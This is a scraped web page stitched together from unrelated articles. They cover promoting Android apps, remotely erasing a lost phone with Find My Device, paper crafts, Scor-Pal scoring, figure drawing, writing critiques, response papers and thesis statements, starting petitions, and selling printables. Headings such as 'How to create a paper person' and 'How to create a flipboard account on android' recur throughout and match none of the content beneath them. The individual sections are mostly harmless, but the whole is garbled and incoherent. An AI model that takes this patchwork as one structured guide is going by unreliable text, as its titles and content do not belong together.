Did you know there are multiple stores to submit your Android app? Google Play Store is the most popular one, but there are many others such as the Amazon app store, which is good too. Here, I’m listing down some of the most popular stores where you can submit your Android app.

https://developer.amazon.com/welcome.html
http://www.appbrain.com/info/addapp
http://slideme.org/developers
http://developer.getjar.mobi/
http://developer.mobogenie.com/docs/submit.htm

4) Make a Freemium app

This has been the best way to get people to download premium apps. The free apps get the user base, and the users end up buying add-ons or the full version if they like it. Or you can just launch a free app with an ad and promote an add free with some advanced features in your premium version. You can also consider starting your app for free for the first two weeks to increase the user base. You can later charge for it. This marketing and promotion strategy works most of the time and for most apps.

5) Promoting through Reviews

Nobody will know of your app unless you promote it. Hence, marketing the Android app is as important as building one. The best method to market your app from my experience is through content and reviews. There are a few review sites that offer paid reviews. If your target is more specific to the Android market, you can try a few like androidtapp.com or pcworld.com depending on your budget.

A few other options:

6) Promoting through free content

Some services offer free publicity. For example, ProductHunt. It’s a startup voting community that ranks apps at the end of every month. If your app idea is good, it might even be on the front page for a month if it gets enough votes. The site is also a good option if you have the same app for different operating systems because they accept Windows, iOS, Android and Blackberry apps as well.

You can try this if you want to get an initial boost of downloads.

7) Promote on YouTube

Make a couple of YouTube videos showing how the app can be useful to people or entertain them. Try to make an informative video. Moreover, when you are going to drop a pitch email to any bloggers for a review of your app, make sure you send the link to the video. This will help a blogger understand your product better and will help them to write better app reviews.

Also, most of the time you will see your videos embedded along with a review article, which will help in creating more awareness.

8) Get a gorgeous icon

Have you ever downloaded an app with no icon? Well according to the app market, people download apps on large based on their icons. Crappy icons blow your app to the bottom and will indicate an unfinished or poorly made app. Optimize and beautify your icons.

9) Use social media

Social media can be immensely useful. Submit your app to social media like Reddit, etc. and if your app deserves some attention, then you might be in for some better download numbers. Don’t forget to submit to the Reddit Android section here: Android Reddit.

10) Press-release

I have minimal information regarding Press-release promotion. Though, if you manage to get into one of those PR agencies, that send out the newsletter to techies and bloggers about the latest Android apps, it can be very beneficial.

11) Advertise your App

If you have developed a paid app, it’s always a wise idea to keep a budget for advertising too. Create a landing page for your app and put advertisement banner on popular Android niche blogs. Though, if budget is a constraint, you can always go ahead and take the route of Guest blogging and do a soft promotion of your app. For buying advertisements, you can directly contact the bloggers and webmasters.

12) Submit to Product Hunt

How to create a flipboard account on android

Producthunt is a social site where anyone can submit exciting apps or websites. People then vote for it. If you have developed an interesting Android app, you should submit it on Producthunt. If it’s a remarkable app and hits the homepage, not only you will get enough downloads, you will also get coverage everywhere due to the popularity of this platform.

As I mentioned above, in the end, it’s quality and usability of your app, which is going to grab more attention. But we also need to promote our apps for a wider reach.

We hope the points above help you reach a wider audience and achieve great number of downloads.

How to create a flipboard account on android

A smartphone is important, period! Yes, one cannot imagine life without a smartphone in 2020 and that is why it is one of the most sold devices today. Want to know everything about a person, browse through his her phone because that is where all the data is and that might become a threat to you someday.

You wouldn’t want to lose your phone and expose all your personal data to a stranger; you need solid protection and guarantee that your personal information remains that way. Many times, this is not possible and the only option you are left with is to erase all your personal data from your stolen/lost phone remotely.

If you make sure to follow all the below mentioned steps on how you can erase all your personal data from your lost device via the internet, you might save yourself.

Have your Android smartphone with you right now- Download “Find My device”.

Open Google Play Store
Download “Find My Device”
Skip to Google Settings, then Find My Device.
Enable “Find My Device”
Allow access to location services by the application.

This application also works for all Android-powered tablets and smartphones.

How to create a flipboard account on android

Once you have the app installed and if it is stolen, you might want to install the app on another Android device and then Log-in.

Once you are logged in your account and your stolen smartphone is connected to the internet or even gets bare minimum signals, you will be able to track the live location of your smartphone on a map.

You will get three options:

Ring Device
Lock Device
Erase Device

If in case, your stolen device is not connected to the internet, Find My Device application will wait for the signal and report via notification, the exact location of where the device found signals!

Once you know the location of your device, you can choose between the three options and for maximum safety of your personal data, opt for “Erase device”.

This option will permanently erase all your personal and private data from your Android smartphone, so you might want to keep this as a last measure.

If you think that you can retrieve your phone safely, Ring the device. This feature will ring your stolen or lost smartphone at maximum loudness for full 5 minutes. So, if your phone is not stolen and has fallen down or anything, you can always ring the device to know if it is anywhere near you.

Next, you can lock your smartphone remotely via “Find My Device” application.

If you are skeptical and unsure that your phone is locked or not, you can remotely access this feature to lock device screen and set a password or security question as well. If the thief is not a professional hacker, this will prevent him from going through your phone information which includes photos, videos, notes, banking details etc.

Last but the most effective measure is to erase your device. Imagine you have lost hope of finding your stolen or lost Android device and the above two options did not work. This option will give you the satisfaction that your personal data cannot be accessed anymore.

Unless you have data stored on your micro SD card because “Find My Device” will not be able to wipe off your SD card data!

How to create a flipboard account on android

NOTE:

Never store sensitive information on your SD card because then you will not be able to remotely access or format your data from the tiny storage chip using “Find My Device”.

This is how you can erase all your personal/private/sensitive data from your lost or stolen Android smartphone or device, in general, using “Find My Device” application available on Google Play Store.

How to create a paper person

June 27, 2022Cat-Diabeteshowwwww toooo dooo?

These awesome crafts can be made using only paper and glue.

How to create a paper person

If you’re looking for craft ideas to keep you busy during home isolation, these crafts are fun, cute AND only take paper and glue to make! No shopping required, you can just start making.

The world is a crazy place right now and I firmly believe that crafting is therapy. Make something to take your mind off of your worries and to keep your hands busy. And since suddenly we are all homeschool moms, a lot of these crafts would be great for kids and teenagers too.

Geometric Paper Bowls

Print out the free template, then fold and glue these modern and cool little dishes you can use to organize office or craft supplies.

How to create a paper person

Rolled Paper Flowers

These are easiest to make using a Silhouette or Cricut machine, but you could also cut them out by hand. Then you can use them in all sorts of fun ways… to decorate a sign, wreath, gift tag, card or anything else!

How to create a paper person

Easy Paper Treat Boxes

Make a cute rectangular box with hinged lid out of one sheet of 12×12 scrapbook paper. It’s the perfect way to package up treats to give to a friend.

How to create a paper person

Paper Butterflies

These butterflies are made out of patterned scrapbook paper and have pretty beaded antenna… but if you don’t have beads, you can make them without.

How to create a paper person

Giant Paper Flowers

These giant paper flowers are so fun to make. If you have a Silhouette or Cricut machine, you can use them to cut out the petals, but there are also printable templates you can cut out by hand.

How to create a paper person

Accordion Fold Paper Wreath

Make a new wreath for your front door by making paper medallions an layering them together.

How to create a paper person

Paper Snowflakes

All you need is plain computer paper or a stack of coffee filters and a pair of scissors and you’ve got yourself hours of entertainment. This is one of my favorite winter pastimes!

How to create a paper person

Paper Orbs

Print out the template, then you can paint or color it before folding it into a unique orb shape.

How to create a paper person

3D Paper Stars

Make these cool 3D stars with the help of a Silhouette or Cricut machine or cut them out by hand. You could also put two together, punch holes in it and turn it into a luminary.

Paper Chain Snake

Turn a paper chain into a bendy snake! I’ll admit these are creepy to me, but they are super fun to make!

How to create a paper person

Paper Beads

Did you know you could make beads out of paper? You can use any paper you happen to have on hand, including old magazines! It’s a surprisingly easy process.

How to create a paper person

Paper Kaleidoscope Toy

Print out the template, color it any way you’d like, then fold it into a little moving toy and watch the patterns change as you twist it.

How to create a paper person

Woven Paper Baskets

Learn how to make little baskets completely out of paper that’s woven together. Make them any shape or size and think of all the color combination possibilities!

How to create a paper person

Paper Chain Rainbow Wall Hanging

Who knew paper chains could look so chic?! My teenager wants to make one of these to hang in her room.

How to create a paper person

Paper Fan Wall Art

Group paper fans together to make a unique art installation.

How to create a paper person

Exploding Photo Memory Box

It looks like a box, but when you open it, it explodes into a mini scrapbook album! It looks complicated to make but the instructions are really easy to follow.

How to create a paper person

Woven Paper Art

You probably remember weaving paper placemats in elementary school. This is the grown up version… and it turns out so cool! Once you get the hang of it, I can see this craft being super addicting to work on while binging a favorite show.

How to create a paper person

Folded Paper Bracelets

These can be customized in so many ways (solid colored paper, watercolored paper, textured paper, patterned paper, etc.) and are fun to make.

How to create a paper person

Layered Paper Cut Toucan Art

Use the SVG files or printable template to make a gorgeous piece of art by layering cut paper.

Abstract 3D Paper Wall Art

Fold paper into geometric shapes and make a funky, cool piece of wall art.

How to create a paper person

Paper Leaf Wreath

The leaves can be made out of patterned paper, wrapping paper, solid colored cardstock or textured paper and each type of paper will give the finished wreath a totally different vibe.

How to create a paper person

So there you have it! Tons of ideas for projects you can make out of paper!

I hope you found an idea that peaks your interest. Stay home, stay busy, stay healthy, my friends!

Place Scor-Pal® on a flat surface with ruler at the top.

Place cardstock on the scoring surface. The sides and the top act as fences to properly align your paper for accurate scoring. Align with the top and either side fence depending on the size of your cardstock.

There are notches at the beginning of each score line to show you where the groove begins. With one hand holding the cardstock, hold the scoring tool as you would a pen or pencil (45 degree angle). When working with double sided Designer paper that has a white core, lower the angle of the tool ( 30 degrees). Carefully draw the scoring tool down the paper, using an even pressure.

The first time you use Scor-Pal practice on a piece of scrap cardstock to determine the amount of pressure needed for your “hand”.

To clean your Scor-Pal, wipe with a damp cloth. Dry thoroughly before using.

One of the key benefits of Scor-Pal is the ability to score multiple score lines at the same time, without moving the paper. This is invaluable when making grid, reverse grid cards, gate fold, accordion folds, brochure/flyer scoring, box making, origami, iris folding and boxes galore!

When possible, always score with the grain of the paper. Cup the paper in your hands bringing the sides together. If it bends easily this is the grain of the paper. Turn the paper in the other direction.

Repeat same action. The paper will not bend as easily. You will feel a slight resistance as it is bending “against the grain”. On a piece of cardstock 8 ½” x 11” the grain of the paper is usually down the 11” length. In most cases the grain of the paper is with the longest side, “grain long”. The paper fibers run in this direction. For a 12” x 12” paper do the “grain of paper” test explained previously.

Another easy way to test for the grain is by tearing the paper. With the grain will give you a straighter tear.

The bump goes to the inside. This gives a neater appearance to the inside of the fold.

When you make the score line you are spreading the paper fibres ready for the fold. If you fold so the score line is to the inside you are squashing the fibres you just spread apart. If you check a package of 3″ x 3″ folded cards from Stampin Up you will see that the indentation is on the textured side of the cardstock. This reinforces,you fold so the score line is to the outside of the fold with textured side out.

When making accordion folds score at intervals, then turn the paper over and score in between the previous scores i.e. a one inch accordion along an 11” length, score at 1”, 3”, 5”, 7” and 9”. Turn the paper over, score at 2”, 4”, 6”, 8” and 10”. The indentation is the mountain fold. If you are making the standard A2 card, 4 1/4” x 5 1/2”, score the full eleven inch length at 4 1/4” then cut the cardstock at 5 1/2”. This way you are saving time by only scoring once to make two cards.

● Use the grooves marked with a small dot. They are at 2 1/8” and 6 3/8” from the left fence.

For diagonal scoring ensure that both corners are aligned to the same groove. The ruler markings along each side fence will help with scoring a 12” piece of paper on the diagonal. Align the page with the 6” groove using the side measurements as a reference for centering.

● Use the markings to quickly ensure your paper has been cut straight.

● Use the Scor-Pal as a ruler. Lay down a scrap piece of cardstock and you can quickly tell its width and height.

NOTE: These instructions are only for older Scor-Pal scoring boards to help you make 1/8″ precision scores. Our new Scor-Pal Eighths product has 1/8″ groove markings.

When making 1/8″ scores such as at 3 5/8″, you will move the left side of the paper away from the left fence.

For a 5/8″ score, count back five grooves and position the left edge of the paper at the middle of that groove.

Always go up one full number – so score at 4 inches (see image to the right).

It is always two steps: Step one, count backward for eighths; and Step 2, go up one full number for your scoring line. You go up one number because you are losing the first inch by using it for the eighth measurement. For example, for 7 3/8″, count back 3 and score at the 8″ mark, for 5 7/8″, count back 7 and score at the 6″ mark.

Scor-Pal produces a score line similar to a letterpress score.

A letterpress is basically the same type of machine used to foil-stamp and emboss. It is a press that uses pressure to create a pattern. A letterpress operates with a “male” scoring rule, in our case the Scor-Tool, a “female” channel, the groove and the paper in between. When the rule is pressed into the channel, it raises a ridge on the inside of the fold. The ridge acts as a hinge, making the paper easier to fold and ensuring a clean, straight, and durable result.

A letterpress score affords the cleanest and most accurate fold possible. Although you can score in any direction, it’s harder and riskier to go against the grain or across areas with heavy ink coverage. The need for scoring depends on the particular grade, finish and basis weight of your paper.

Get to know the human form and improve your figure-drawing skills with a step-by-step drawing tutorial.

How to create a paper person

The basics of drawing people realistically.

To draw a human figure well, you have to understand proportion, gesture, and human anatomy. “Gesture is most important,” says artist Jonathan Dockery, “but we have to start with proportion.”

The proportions of human bodies vary widely, but these basic rules can help you keep body parts to scale. “The basic proportion of the average person is seven heads tall,” Dockery says. If you draw a front view of a standing person and you start with the head, you can measure out the full length of the body as seven of those head lengths. The underside of the pectoralis major, or the chest muscles, is about two heads down. The third head down lines up with the belly button, and the fourth lines up with the bottom of the pelvis.

If you return your attention to the head, you can begin to sketch the facial features. The eyes tend to be slightly above the midpoint, and the tip of the nose ends halfway between the eyes and the chin. The distance from the nose to the top of the head is the same as the distance from the nose down to the top of the rib cage. “Remember that this varies from person to person,” Dockery says. “Observation is more important than using a system, and you don’t want everybody you draw to look the exact same.”

How to create a paper person

From the top of the head, you can measure five heads down in a straight line, and start the knees a bit below that. The calves or the shins should be about midway through the sixth head down. Finally, the feet will end at the bottom of that seventh head length. “For the feet, it’s often helpful to think about them as general triangle shapes,” Dockery says.

Go back up to the top of the rib cage, build out collarbones like bicycle handlebars. The arms grow out of those. “In general,” Dockery says, “the wrist is going to line up with the pelvic bone, and the hand will build out underneath that.”

Draw the neck as a cylinder. If you draw a side view, remember that the neck leans forward a little from the rib cage, and the ear begins halfway between the forehead and the back of the head.

“Gesture equals the rhythm of the body,” Dockery says. The angle of the hips, arching of the back, and positioning of the limbs can breathe life into a drawing of a person. Once you’ve located those three main masses of the head, rib cage, and pelvis, you have the basic structure of the upper body. But, Dockery says, “we need to start by finding the rhythmic relationship between the first two masses, the head and rib cage.”

A critique paper is an academic writing genre that summarizes and gives a critical evaluation of a concept or work. Or, to put it simply, it is no more than a summary and a critical analysis of a specific issue. This type of writing aims to evaluate the impact of the given work or concept in its field.

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Want to learn more? Continue reading this article written by Custom-writing experts! It contains:

💁 What Is a Critique Paper?

A critique is a particular academic writing genre that requires you to carefully study, summarize, and critically analyze a study or a concept. In other words, it is nothing more than a critical analysis. That is all you are doing when writing a critical essay: trying to understand the work and present an evaluation. Critical essays can be either positive or negative, as the work deserves.

👣 How to Write a Critique Essay: Main Steps

Starting critique essays is the most challenging part. You are supposed to substantiate your opinion with quotes and paraphrases, avoiding retelling the entire text. A critical analysis aims to find out whether an article or another piece of writing is compelling. First, you need to formulate the author’s thesis: what was the literary work supposed to convey? Then, explore the text on how this main idea was elaborated. Finally, draft your critique according to the structure given below.

Step 1: Critical Reading

1.1. Attentively read the literary work. While reading, make notes and underline the essentials.

1.2. Find or formulate the author’s thesis.

1.3. Make a summary or synopsis of the analyzed text.

Step 2: Analyzing the Text

After the reading phase, ask yourself the following questions:

Step 3: Drafting the Essay

Finally, it is time to draft your essay. First of all, you’ll need to write a brief overview of the text you’re analyzing. Then, formulate a thesis statement – one sentence that will contain your opinion of the work under scrutiny. After that, make a one-paragraph summary of the text.

You can use this simple template for the draft version of your analysis. Another thing that can help you at this step is a summary creator to make the creative process more efficient.

Critique Paper Template

👀 Critical Essay Types

You can evaluate the chosen work or concept in several ways. Pick the one you feel more comfortable with from the following:

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There are also different types of critiques. The University of North Carolina-Chapel Hill, in the article “Writing critiques,” discusses them as well as the appropriate critique language.

📑 Critique Paper: Format & Structure

The main parts of good critical response essays are:

Critique Paper Introduction

The introduction is setting the stage for your analysis. Here are some tips to follow when working on it:

Critique Paper Body

The body of the critique contains the supporting paragraphs. This is where you will provide the facts that prove your main idea and support your thesis. Follow the tips below when writing the body of your critique.

Critique Paper Conclusion

Finally, you will need to write a conclusion for your critique. The conclusion reasserts your overall general opinion of the ideas presented in the text and ensures there is no doubt in the reader’s mind about what you believe and why. Follow these tips when writing your conclusion:

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For more details on how to write a critique, check out the great critique analysis template provided by Thompson Rivers University.

If you want more information on essay writing in general, look at the Secrets of Essay Writing.

📚 Critique Essay Examples

With all of the information and tips provided above, your way will become clearer when you have a solid example of a critique essay.

Below is a critical response to The Yellow Wallpaper by Charlotte Perkins Gilman.

When speaking of feminist literature that is prominent and manages to touch on incredibly controversial issues, The Yellow Wallpaper is the first book that comes to mind. Written from a first-person perspective, magnifying the effect of the narrative, the short story by Charlotte Perkins Gilman introduces the reader to the problem of the physical and mental health of the women of the 19th century. However, the message that is intended to concern feminist ideas is rather subtle. Written in the form of several diary entries, the novel offers a mysterious plot, and at the same time, shockingly realistic details.

What really stands out about the novel is the fact that the reader is never really sure how much of the story takes place in reality and how much of it happens in the psychotic mind of the protagonist. In addition, the novel contains a plethora of description that contributes to the strain and enhances the correlation between the atmosphere and the protagonist’s fears: “The color is repellent, almost revolting; a smoldering unclean yellow, strangely faded by the slow-turning sunlight” (Gilman).

Despite Gilman’s obvious intent to make the novel a feminist story with a dash of thriller thrown in, the result is instead a thriller with a dash of feminism, as Allen (2009) explains. However, there is no doubt that the novel is a renowned classic. Offering a perfect portrayal of the 19th-century stereotypes, it is a treasure that is certainly worth the read.

If you need another critique essay example, take a look at our sample on “The Importance of Being Earnest” by Oscar Wilde.

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Seeing an example of a critique is so helpful. You can find many other examples of a critique paper at the University of Minnesota and John Hopkins University. Plus, you can check out this video for a great explanation of how to write a critique.

GoPetition aims to amplify voices, both large and small. The petition tools we provide help empower both individuals and groups. By amplifying voices together we can help eliminate powerlessness.

One way to achieve this goal is to provide easy-to-use tools within a robust social network to give both individuals and groups a voice.

Before you create a petition.

How to create a paper person

If you want to create a petition, this short article provides essential guidelines. Creating a petition is not as difficult as you might think. However, you first need to decide whether to start a paper petition, an e-petition, or both.

The points raised in this outline can be applied to making both online petitions (e-petitions) and paper petitions. The issues raised below are designed to help campaigners write and start petitions that will have a positive impact for specific and well defined causes.

Factors to consider before you create

You need to take into account a number of issues such as the requirements of your target (procedural, legal or otherwise), proper research, clear communication, and how you will market and promote your petition.

Target requirements

Before you create your petition, we recommend that you ask your target for petition rules (if the target is a government organization, legislature or parliament). But please note that many petitions do not need to comply with any guidelines because many petitions are written to organizations and groups that do not have guidelines.

Petitions to parliaments should follow local jurisdictional procedure. You may however bypass Parliament or Congress by sending your petition to the Executive Branch of government such as directly to the President or 10 Downing Street, or directly to your State or County representatives.

Accurate research before you create your petition

A petition should begin with a request, followed by well researched reasons for making the request. Each petition should provide a description of relevant circumstances and links to documentation or facts that support that description. Importantly, a petition should contain information that suggests its request is feasible.

Ultimately a petition will request specific action or a call for someone (or some group or organization) to refrain from specific action(s).

Clear communication

Don’t clutter your petition with background or requests that have no essential connection with the main message. Proofread your petition carefully. Make sure it:

describes the relevant circumstances,
suggests what is needed, and
explains why it is needed.

Be clear and concise with your message.

General guidelines for writing and running a petition campaign

The petition preamble should be short.
Make a petition that has clear logic and sound arguments.
Begin your petition statement with a phrase like: We the undersigned .
Keep all campaign statements as concise as possible, while laying out your concerns.
Make focused, specific requests in your petition text.
Start with general principles and progressively get more specific.
Create a petition that has a clear focus so others can commit to your cause.
Speak from the heart and tell your story with empathy.
Create a narrative that is both personal and believable.
Make your campaign visual. Photos and videos get traction.
Find the decision-maker who matters. Your target should be specific and identifiable.
Think local and global. Identify the local issues within the big picture.
Reach out to the media and talk to the press, not just your own social network.

How to promote your petition

How you promote your petition will have a critical influence on the outcome of your campaign.

Combine your e-campaign with a paper campaign and synchronize your signature lists. Thus you may bring your petition to events where you expect there will be people who support it and can sign on the spot.
Follow up: It is important because it demonstrates that there is real commitment behind the signatures. Contact your supporters. This will make your campaign both progressive and viral. For example, encourage signatories to write, call, or visit MPs to explain why they signed the petition.
Ask your target to respond to your petition within 45 calendar days of its presentation. If this fails to occur, then follow the matter up with someone to whom the target is accountable.
Contact media groups with an explanation of your campaign.
Pump your social networks in a responsible way. Speak from the heart and don’t spam. If your cause has value, it will go viral.
Try to minimize the use of critical language when you promote. Use sound arguments rather than pejorative attacks which could be considered insulting.
Have faith that a just cause is worthy of promoting.

There are many examples of high quality petitions at GoPetition. So we suggest that you read some of our more popular petitions and use these as templates before you create your petition. For further advice on how to write a petition, don’t hesitate to contact us.

How to create a petition with instant access now!

GoPetition has advanced edit software that allows you to add updates, news items, photos, videos and other material to your petition at any time. You may also link to your website from your petition. A free forum facility is also provided with every petition.

How to market your petition

How can I market my petition? We suggest a strategic use of social media such as YouTube, Twitter, Facebook and other social networks.

You may also wish to issue a media release and contact key media and news groups directly. How you market your petition will have a critical influence on the outcome of your campaign.

Customer service

We are committed to quality customer service and advice for those who have uploaded a petition on our platform. If you need help to create a petition please refer to our link list below.

Important Links

Please click on the following links for further information:

To create a petition with instant access now, click here.

How to create a paper person

Most of the time when you are tasked with an essay about a book or article you’ve read for a class, you will be expected to write in a professional and impersonal voice. But the regular rules change a bit when you write a response paper.

A response (or reaction) paper differs from the formal review primarily in that it is written in the first person. Unlike in more formal writing, the use of phrases like “I thought” and “I believe” is encouraged in a response paper.

You’ll still have a thesis and will need to back up your opinion with evidence from the work, but this type of paper spotlights your individual reaction as a reader or viewer.

Read and Respond

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For a response paper, you still need to write a formal assessment of the work you’re observing (this could be anything created, such as a film, a work of art, a piece of music, a speech, a marketing campaign, or a written work), but you will also add your own personal reaction and impressions to the report.

The steps for completing a reaction or response paper are:

Observe or read the piece for an initial understanding.
Mark interesting pages with a sticky flag or take notes on the piece to capture your first impressions.
Reread the marked pieces and your notes and stop to reflect often.
Record your thoughts.
Develop a thesis.
Write an outline.
Construct your essay.

It may be helpful to imagine yourself watching a movie review as you’re preparing your outline. You will use the same framework for your response paper: a summary of the work with several of your own thoughts and assessments mixed in.

Published on January 11, 2019 by Shona McCombes. Revised on February 25, 2022.

A thesis statement is a sentence that sums up the central point of your paper or essay. It usually comes near the end of your introduction.

Your thesis will look a bit different depending on the type of essay you’re writing. But the thesis statement should always clearly state the main idea you want to get across. Everything else in your essay should relate back to this idea.

Coming up with a thesis
Improving your thesis statement
Placement of the thesis statement
What makes a good thesis statement?
Frequently asked questions about thesis statements

Coming up with a thesis

You should come up with an initial thesis, sometimes called a working thesis, early in the writing process. As soon as you’ve decided on your essay topic, you need to work out what you want to say about it—a clear thesis will give your essay direction and structure.

Step 1: Start with a question

You might already have a question in your assignment, but if not, try to come up with your own. What would you like to find out or decide about your topic?

Here’s an example of an argumentative essay question that asks you to take a side in a debate:

Has the the internet had a positive or negative impact on education?

If you have to write an expository essay about an important invention, you might ask:

How did the invention of the printing press change European society?

In a literary analysis essay about the novel Frankenstein, your question could be:

How does Mary Shelley portray the character of Victor Frankenstein?

Step 2: Write your initial answer

After some initial research, you can formulate a tentative answer to this question. At this stage it can be simple, and it should guide the process of researching and writing.

If you’re writing an argumentative essay, the answer should pick a side and take a position on the issue.

The internet has had more of a positive than a negative effect on education. The invention of the printing press meant more people had access to information. Shelley portrays Victor Frankenstein in a negative light.

Step 3: Develop your answer

Now you need to consider why this is your answer and how you will convince your reader to agree with you.

As you read more about your topic and begin writing, your answer should get more detailed. The final thesis statement doesn’t just state your position, but summarizes your overall argument.

In our essay about the internet and education, the thesis states our position and sketches out the key arguments we’ll use to support it.

Argumentative thesis statement

The negatives of internet use are outweighed by its many benefits for education : the internet facilitates easier access to information, exposure to different perspectives, and a flexible learning environment for both students and teachers.

In our essay about the printing press, the thesis summarizes the key historical development that we’ll explain.

Expository thesis statement

The invention of the printing press in the 15th century allowed for much less restricted circulation of information in Europe, paving the way for the Reformation.

In our essay about Frankenstein, the thesis maps out our analysis of the novel’s techniques and effects.

Literary analysis thesis statement

Mary Shelley uses shifting narrative perspectives to portray Victor Frankenstein in an increasingly negative light as the novel goes on ; he starts out as a naive but sympathetic idealist, but by the end we see him as a thoughtlessly cruel figure.

Improving your thesis statement

Take a look at these examples of thesis statements and learn how to improve them.

Example 1: Argumentative thesis

In an argumentative essay, your thesis should take a strong position. Your aim in the essay is to convince your reader of this thesis based on evidence and logical reasoning.

Take a look at these two versions of a thesis statement in an essay about U.S. environmental policy.

Weak thesis statement The U.S. Government should invest in a Green New Deal.

The example above takes a position, but it doesn’t tell the reader anything about why you hold this position.

Improved thesis statement The U.S. Government should invest in a Green New Deal that prioritizes green jobs; as the world’s most powerful economy, it can take the lead in combating climate change at the same time as improving its citizens’ wellbeing.

In this improved thesis statement, you also state your reasoning and summarize the main points that you will use to convince your reader of your position. The rest of your essay will expand and argue for these points.

Example 2: Expository thesis

In an expository essay, you’ll aim to explain the facts of a topic or process. Your thesis doesn’t have to give a strong opinion, but it should clearly state the central point you want to make about your topic, and mention the key aspects that you’ll explain.

Let’s take two versions of a thesis statement from an essay about the invention of Braille (the raised-dot reading system used by blind and visually impaired people).

Weak thesis statement Braille was an important nineteenth-century invention.

The example above makes a factual statement, but it doesn’t tell the reader anything about what they’ll learn from your essay.

Improved thesis statement The invention of Braille transformed the lives of blind people in the nineteenth century, but its success depended on mainstream acceptance by sighted teachers, and this process was shaped by debates about disabled people’s place in society.

The second example is much more specific: it shows that you won’t just describe facts about Braille, but also explain the social context and consequences of its invention.

Example 3: Analytical thesis

In an essay that involves analyzing a text, your thesis needs to mention the specific aspect that you’ll focus on and state what insight it gives us into the text’s meaning or purpose.

Here are two versions of a thesis about the novel Jekyll & Hyde by Robert Louis Stevenson.

Weak thesis statement Mr. Hyde represents Dr. Jekyll’s dark side.

This example tells us which aspect the essay will focus on, but it’s an obvious statement that only describes the novel’s surface-level meaning.

Improved thesis statement The figure of Mr. Hyde represents the potential for evil that lurks beneath the surface of outwardly civilized men; through this dark double, Stevenson sought to highlight the moral hypocrisy of his society.

The second example tells us not only what the character represents in the novel, but also makes a claim about the author’s broader meaning and purpose in creating such a character.

Make Passive Income with Digital Printables

How to create a paper person

Looking for a way to make passive income on the Internet? Consider creating and selling digital printables online. Below you’ll learn all there is to know on how to make printables to sell on the Internet.

What Are Printables?

Printables are exactly like they sound; documents that can be printed and used by consumers. Today, people need help organizing, planning, and more, and they’re buying printables to make these tasks easier. Examples of printables you can make include:

Calendar Planners
Project Planners (i.e. DIY home repair or business social media planning)
Meal Planners
Financial Planners
Diet and/or fitness planners
Trackers (i.e. weight loss, debt repayment, etc)
Coloring sheets (for kids and adults)
Stickers
Journals
Checklists
Worksheets
Spreadsheets
Workbooks
Templates
Stationary

If you make lists or create your own system for organizing projects, ideas, and to-dos, chances are you can create a printable and sell it online.

How to Make Printables to Sell

Three things that make selling printables a great home business idea or addition to your existing business are that:

You don’t need to be a graphic or desktop design wiz to create them.
The tools you need to create and sell your printables are affordable, with many of them being free.
It is a passive income option in that you create it once, and make money from it over and over.

The tools and resources you’ll need depend in part by what you plan to create, but here is a list of common needs:

Word processor (i.e. Word or Google Docs)
Spreadsheet (i.e. Excel or Google Sheets) A spreadsheet is an easy way to make checklists and other items that are listed in row or column.
Desktop Design Software This isn’t required, but if you already have one such as MS Publisher or Adobe InDesign, it can make printable creation easier if you need more intricate design and formatting that isn’t offered through a word processing software.
PDF Creator You can usually save documents as a PDF or you can find free PDF makers online. If you want your printable to be fillable online, you can use PDFescape to create the fill boxes in your PDF.
Graphics There are many free and low-cost graphic resources, but make sure that they are licensed for commercial use before using them.
Graphic Design SoftwareCanva is a great resource for creating printables themselves, or logos and other graphics you may need. Another option is PicMonkey.
Cutting Machine Software This is particularly helpful if you’re creating stickers or die-cut printable and want to add the registration marks so your customers can easily use their cutting machine to cut them out. If you’re not making something that would need to be cut, you don’t need this.

Creating Your Printable

If you’re not a graphically savvy person, research how others design their printables for ideas on how to format your printable. Good places to find sample printables are on Pinterest, Google Images, and/or Etsy.

You don’t want to copy what others are doing, but checking out other printables can help you understand how people use color, font, and design to make their printables attractive and useful.

Here are other steps on how to make printables to sell:

Make a list of printable ideas. You’re unlikely to make a living on single printable unless it’s a fancy planner. It’s faster and easier to make single-page printables that you can sell individually or as a bundle. If possible, make them related. For example, you can have a keto diet menu planner, list of keto-friendly snacks, a food tracker, and weight loss tracker.
Sketch out your design idea on a piece of paper. This can help you get your idea down, and make adjustments quickly.
Decide on your color scheme, logo, and other brandable features. Keep it related to your business and business name, if you’re adding to your existing business. Your business name needs to be included on your printable so your customers can easily find and buy from you again
Design your printable. Plan the size of your printable in advance. If you’re using a spreadsheet for an 8 ½ X 11 printable, be sure to stay within the columns and rows for that size. If you’re designing a planner, you may want to make a variety of sizes to fit the most common planners such as A-5 (5.8” X 8.3”), classic (5.5” X 8.5”), personal (4.25” X 6.75”). If you’re designing for a specific planner, such as Filofax or Happy Planner, check the sizes to make sure you’re creating something that will fit.
Test print your printable to make sure it appears correctly on the printed page. If you’re creating something that people will punch holes in to put in a planner, make sure you’ve left enough room for the holes without cutting the design.
Price your printable. You may need to test different prices to find the sweet spot price that generates a lot of sales. You can get an idea of a start price from what others are charging for a similar product. You’ll also need to account for your overhead costs, such as Etsy membership or web hosting fees. A benefit to digital printables is that once created, they can be sold over and over without more work or materials, so your overhead is low.

Selling Your Printable Online

The fastest and easiest way to start selling your printable is to create an Etsy store, a go-to site for many types of printables.

Other online options for selling your printable include Fiverr and Creative Market.

If you’d like more control over your printable business, you can build your own online store. Shopify is a popular resource for printable business owners, but there are other e-commerce options you can use to build an online store affordably.

Finally, you can build your own website to sell your printable. This gives you the most control over your business but requires a little more tech-know how to build. You can create a WordPress site and add an e-commerce plugin, or use a template and e-commerce options provided through a web host.

Marketing Your Printable Business

Even if your printable is on a popular site like Etsy, you’ll need to market your product. Consumers have tons of options for downloading and printing resources. Here are tips to help you stand out:

The Chinese are credited with being the first to make paper as we know it today, although the Egyptians had the first idea, with papyrus. In fact, the word “paper” comes from the word “papyrus.”

Paper making dates back thousands of years, to A.D. 105, when Ts’ai Lun created a sheet of paper from mulberry bark and old rags. Although commercial paper making has come a long way since then, paper you can make at home is surprisingly the same as Ts’ai, Lun’s technique.

The following articles describe how to make paper for kids and how to give it a pretty embossed look.

Gather up some flat objects — a key, a button, or a paper clip — and you’re on your way to learning how to emboss paper.

This age-old technique is a fun craft for kids and adults alike. Learn to make paper for stationery or art projects.

Start embossing paper by first going on a treasure hunt around the house for flat objects. Learn more about it on the next page.

For more fun crafts and activities, check out:

How to Make Stationery
Paper Crafts
Kids Crafts

Embossing paper is double the fun because you get to go on a “treasure hunt” to collect your supplies before you do the embossing. Look for flat objects, such as paper clips and keys, around your house.

You don’t need special tools; just place a piece of lightweight paper over an object and rub the paper over it with your finger. When you lift the paper, you’ll see the textured shape on the paper. You’ve just created embossed paper.

What You’ll Need

